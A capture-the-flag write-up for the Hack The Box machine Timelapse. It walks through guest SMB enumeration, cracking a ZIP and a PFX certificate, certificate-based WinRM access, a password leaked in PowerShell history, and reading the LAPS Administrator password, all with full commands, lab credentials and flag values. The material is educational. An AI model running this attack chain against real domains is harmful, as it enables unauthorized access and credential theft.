
Timelapse: PFX Cracking to LAPS
Hack The Box write-up for the Timelapse machine. Anonymous SMB exposes a password-protected WinRM certificate backup, cracked to gain a foothold over TLS, PowerShell console history leaks a service account, and LAPS_Readers membership hands over the local Administrator password.
Initial Reconnaissance – Port Scanning
The assessment began with a service-version scan against 10.129.227.113, host discovery disabled (-Pn) and aggressive timing (-T4):
$ nmap -sV -Pn -T4 10.129.227.113
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-05 03:20 -0300
Nmap scan report for 10.129.227.113
Host is up (0.16s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-05 14:20:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5986/tcp open ssl/wsmans?
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
The fingerprint is a standard domain controller: DNS (53), Kerberos (88), RPC (135), SMB (139/445), LDAP (389/3268), and Kerberos password change (464). The LDAP banner leaks the domain (timelapse.htb) and the host (DC01).
The one detail worth flagging early is port 5986, ssl/wsmans. That is WinRM over HTTPS, not the plain-text 5985 seen on most boxes. Whatever gets us a shell later will have to speak TLS, which means every evil-winrm invocation from here on needs the -S flag.
Domain and hostname go into /etc/hosts:
10.129.227.113 timelapse.htb DC01.timelapse.htb
Domain Enumeration
445/tcp – SMB Null and Guest Sessions
A null session is accepted (Null Auth: True) but gives up nothing on its own. Share enumeration is denied:
$ nxc smb 10.129.227.113 -u '' -p '' --shares
SMB 10.129.227.113 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.227.113 445 DC01 [+] timelapse.htb\:
SMB 10.129.227.113 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
As on a lot of 2019 DCs, the built-in guest account is enabled and, unlike the pure null session, it is allowed to talk to the SAM/LSA interfaces. Authenticating as guest with an empty password works, and a RID cycle then walks the whole domain:
$ nxc smb 10.129.227.113 -u 'guest' -p '' --rid-brute
SMB 10.129.227.113 445 DC01 [+] timelapse.htb\guest:
SMB 10.129.227.113 445 DC01 500: TIMELAPSE\Administrator (SidTypeUser)
SMB 10.129.227.113 445 DC01 501: TIMELAPSE\Guest (SidTypeUser)
SMB 10.129.227.113 445 DC01 502: TIMELAPSE\krbtgt (SidTypeUser)
...
SMB 10.129.227.113 445 DC01 1601: TIMELAPSE\thecybergeek (SidTypeUser)
SMB 10.129.227.113 445 DC01 1602: TIMELAPSE\payl0ad (SidTypeUser)
SMB 10.129.227.113 445 DC01 1603: TIMELAPSE\legacyy (SidTypeUser)
SMB 10.129.227.113 445 DC01 1604: TIMELAPSE\sinfulz (SidTypeUser)
SMB 10.129.227.113 445 DC01 1605: TIMELAPSE\babywyrm (SidTypeUser)
SMB 10.129.227.113 445 DC01 1606: TIMELAPSE\DB01$ (SidTypeUser)
SMB 10.129.227.113 445 DC01 1607: TIMELAPSE\WEB01$ (SidTypeUser)
SMB 10.129.227.113 445 DC01 1608: TIMELAPSE\DEV01$ (SidTypeUser)
SMB 10.129.227.113 445 DC01 2601: TIMELAPSE\LAPS_Readers (SidTypeGroup)
SMB 10.129.227.113 445 DC01 3101: TIMELAPSE\Development (SidTypeGroup)
SMB 10.129.227.113 445 DC01 3102: TIMELAPSE\HelpDesk (SidTypeGroup)
SMB 10.129.227.113 445 DC01 3103: TIMELAPSE\svc_deploy (SidTypeUser)
Three custom objects stand out for later: the LAPS_Readers group, a svc_deploy service account, and the Development / HelpDesk groups. LAPS_Readers in particular is a loud hint: LAPS is in play, and whoever lands in that group can read the managed local Administrator password.
445/tcp – Readable Shares
The guest session can also list shares, and this time a non-default Shares is readable:
$ nxc smb 10.129.227.113 -u 'guest' -p '' --shares
SMB 10.129.227.113 445 DC01 Share Permissions Remark
SMB 10.129.227.113 445 DC01 ----- ----------- ------
SMB 10.129.227.113 445 DC01 ADMIN$ Remote Admin
SMB 10.129.227.113 445 DC01 C$ Default share
SMB 10.129.227.113 445 DC01 IPC$ READ Remote IPC
SMB 10.129.227.113 445 DC01 NETLOGON Logon server share
SMB 10.129.227.113 445 DC01 Shares READ
SMB 10.129.227.113 445 DC01 SYSVOL Logon server share
Browsing Shares with the guest account turns up two directories, Dev and HelpDesk:
$ smbclient \\\\timelapse.htb\\Shares -U 'guest'
Password for [WORKGROUP\guest]:
smb: \> ls
. D 0 Mon Oct 25 12:39:15 2021
.. D 0 Mon Oct 25 12:39:15 2021
Dev D 0 Mon Oct 25 16:40:06 2021
HelpDesk D 0 Mon Oct 25 12:48:42 2021
Dev holds a single, promising file: a password-protected ZIP called winrm_backup.zip:
smb: \> cd Dev
smb: \Dev\> ls
winrm_backup.zip A 2611 Mon Oct 25 12:46:42 2021
smb: \Dev\> get winrm_backup.zip
HelpDesk is stuffed with LAPS material: the installer and the full documentation set. This corroborates the LAPS_Readers group from the RID brute and confirms the privilege-escalation path the box wants us to take:
smb: \> cd HelpDesk
smb: \HelpDesk\> dir
LAPS.x64.msi A 1118208 Mon Oct 25 11:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 11:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 11:57:40 2021
LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 11:57:44 2021
The name winrm_backup.zip plus WinRM-over-TLS on 5986 is a strong signal: the archive most likely contains the certificate material used to authenticate to WinRM. That is the foothold.
Foothold – Cracking the WinRM Backup
Cracking the ZIP
The archive is encrypted, so it needs to be cracked before anything inside is reachable:
$ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
zip2john extracts the ZIP's password hash, and john cracks it against rockyou.txt in under a second:
$ zip2john winrm_backup.zip > hash.txt
$ john --format=PKZIP hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2026-09-05 03:34) 2.941g/s 10215Kp/s
Session completed.
ZIP password: supremelegacy. Extracting the archive drops a single PFX bundle, legacyy_dev_auth.pfx:
$ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
inflating: legacyy_dev_auth.pfx
The filename tells the story on its own: this is the client-authentication certificate for the legacyy user, exactly the kind of material evil-winrm can use to log in over TLS.
Cracking the PFX
A PFX (PKCS#12) container bundles the certificate and its private key, and it is protected by its own password, separate from the ZIP. Same routine: pfx2john to produce a hash, then john. This one is slower because of the PKCS#12 key-derivation iterations, but it still falls to rockyou.txt:
$ pfx2john legacyy_dev_auth.pfx > cert-hash.txt
$ john --format=PFX cert-hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:17 DONE (2026-09-05 04:00) 0.05878g/s 189990p/s
Session completed.
PFX password: thuglegacy.
Extracting the Certificate and Key
With the container password known, openssl splits the PFX into the two files evil-winrm expects: a PEM certificate and an unencrypted PEM private key. Both openssl commands prompt for the import password (thuglegacy):
$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out publicCert.pem
Enter Import Password:
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
Enter Import Password:
-nodes on the second command is what leaves the key unencrypted on disk, so evil-winrm can load it without another passphrase prompt.
WinRM over TLS with a Client Certificate
Now the earlier note about port 5986 pays off. Instead of a username and password, evil-winrm authenticates with the certificate/key pair, and -S forces the TLS transport that the SSL WinRM endpoint requires:
$ evil-winrm -i 10.129.227.113 -c publicCert.pem -k priv-key.pem -S
Evil-WinRM shell v3.9
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents>
The certificate maps to legacyy, and the user flag is on the desktop:
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
*Evil-WinRM* PS C:\Users\legacyy\Desktop> cat user.txt
9fb717ed8d7342995d9bdf05c6eda9ae
Lateral Movement – svc_deploy
legacyy has an unremarkable token. No SeImpersonate, no interesting privileges, just membership in the Development group:
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami /priv
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Nothing to chain locally, so the next place to look is what this user has been doing. PowerShell keeps a persistent, per-user command history in ConsoleHost_history.txt under the PSReadLine profile directory, and it is a reliable spot for leaked secrets:
*Evil-WinRM* PS C:\Users\legacyy> cat C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
The history captures someone building a PSCredential for svc_deploy and using it against the local 5986 endpoint, with the cleartext password left inline: E3R$Q62^12p7PLlC%KWaxuaV.
Those credentials get a shell directly, again over TLS with -S:
$ evil-winrm -i 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
Evil-WinRM shell v3.9
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
The reason svc_deploy matters is in its group membership. It is a member of LAPS_Readers:
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
==================== ============================================
timelapse\svc_deploy S-1-5-21-671920749-559770252-3318990721-3103
GROUP INFORMATION
-----------------
Group Name Type SID
=========================================== ====== ============================================
BUILTIN\Remote Management Users Alias S-1-5-32-580
TIMELAPSE\LAPS_Readers Group S-1-5-21-671920749-559770252-3318990721-2601
...
That single group membership is the entire privilege-escalation path.
Privilege Escalation – LAPS
LAPS (Local Administrator Password Solution) randomizes and rotates the built-in Administrator password on each machine and stores the current value in a confidential attribute (ms-Mcs-AdmPwd) on the computer object in AD. The attribute is not world-readable. Only principals explicitly granted the read right can see it, and on this domain that right is delegated to the LAPS_Readers group. Because svc_deploy is a member, it can pull the DC's local Administrator password straight out of the directory.
The install is confirmed by the CSE DLL on disk:
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ChildItem 'C:\Program Files\LAPS\CSE\AdmPwd.dll'
Directory: C:\Program Files\LAPS\CSE
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/5/2021 7:04 AM 184232 AdmPwd.dll
NetExec's laps module reads the attribute in one shot:
$ nxc ldap 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
LDAP 10.129.227.113 389 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS 10.129.227.113 389 DC01 [*] Getting LAPS Passwords
LAPS 10.129.227.113 389 DC01 Computer:DC01$ User: Password:SlSp!aK28Yn1#XW;,1936fNs
The same value comes back through Impacket's GetLAPSPassword, which is handy if NetExec is not around:
$ impacket-GetLAPSPassword timelapse.htb/'svc_deploy':'E3R$Q62^12p7PLlC%KWaxuaV' -dc-ip 10.129.227.113
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Host LAPS Username LAPS Password LAPS Password Expiration LAPSv2
----- ------------- ------------------------ ------------------------ ------
DC01$ N/A SlSp!aK28Yn1#XW;,1936fNs 2026-09-10 11:17:54 False
That is the local Administrator password for DC01, SlSp!aK28Yn1#XW;,1936fNs, which is enough for a full-privilege WinRM session:
$ evil-winrm -i 10.129.227.113 -u 'Administrator' -p 'SlSp!aK28Yn1#XW;,1936fNs' -S
Evil-WinRM shell v3.9
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Flag Collection – Root Flag
The root flag lives on the TRX user's desktop rather than Administrator's, but with full access to the box that is a cat away:
*Evil-WinRM* PS C:\Users\TRX\Desktop> dir
Directory: C:\Users\TRX\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/5/2026 7:18 AM 34 root.txt
*Evil-WinRM* PS C:\Users\TRX\Desktop> cat root.txt
a7f470b0ccab527e6a73221e413134a9
Full compromise of the domain controller.
Conclusion
Timelapse is a clean, misconfiguration-driven chain with no web surface. Anonymous access does most of the initial legwork: the guest account both enumerates the domain and reads a share it should not. Everything after that is credential material left where it shouldn't be: a cracked certificate backup, a password pasted into PowerShell history, and a LAPS read delegated to a reachable service account.
The route in full:
guest (empty pw) -> RID brute + readable Shares
-> winrm_backup.zip -> zip crack (supremelegacy)
-> legacyy_dev_auth.pfx -> pfx crack (thuglegacy)
-> cert-based WinRM over 5986 (-S) -> legacyy -> user.txt
-> PSReadLine history -> svc_deploy password
-> svc_deploy in LAPS_Readers -> read ms-Mcs-AdmPwd
-> local Administrator password -> root.txt
References
- Evil-WinRM — WinRM shell used throughout; the
-c/-kflags handle certificate authentication and-Sselects the TLS transport for port 5986. - John the Ripper — zip2john / pfx2john — Used to extract crackable hashes from the encrypted ZIP and the PKCS#12 container.
- Microsoft — Local Administrator Password Solution (LAPS) — Background on the
ms-Mcs-AdmPwdattribute and the delegated read model abused here. - NetExec — LAPS module — Reads the managed password over LDAP for any account with the read right.
- Impacket — GetLAPSPassword — Alternative LAPS reader used to confirm the password.
- The Hacker Recipes — LAPS — Details on the ACL/extended right that governs who can read LAPS passwords.
- Microsoft — PSReadLine command history — Documents the persistent
ConsoleHost_history.txtfile that leaked thesvc_deploycredentials.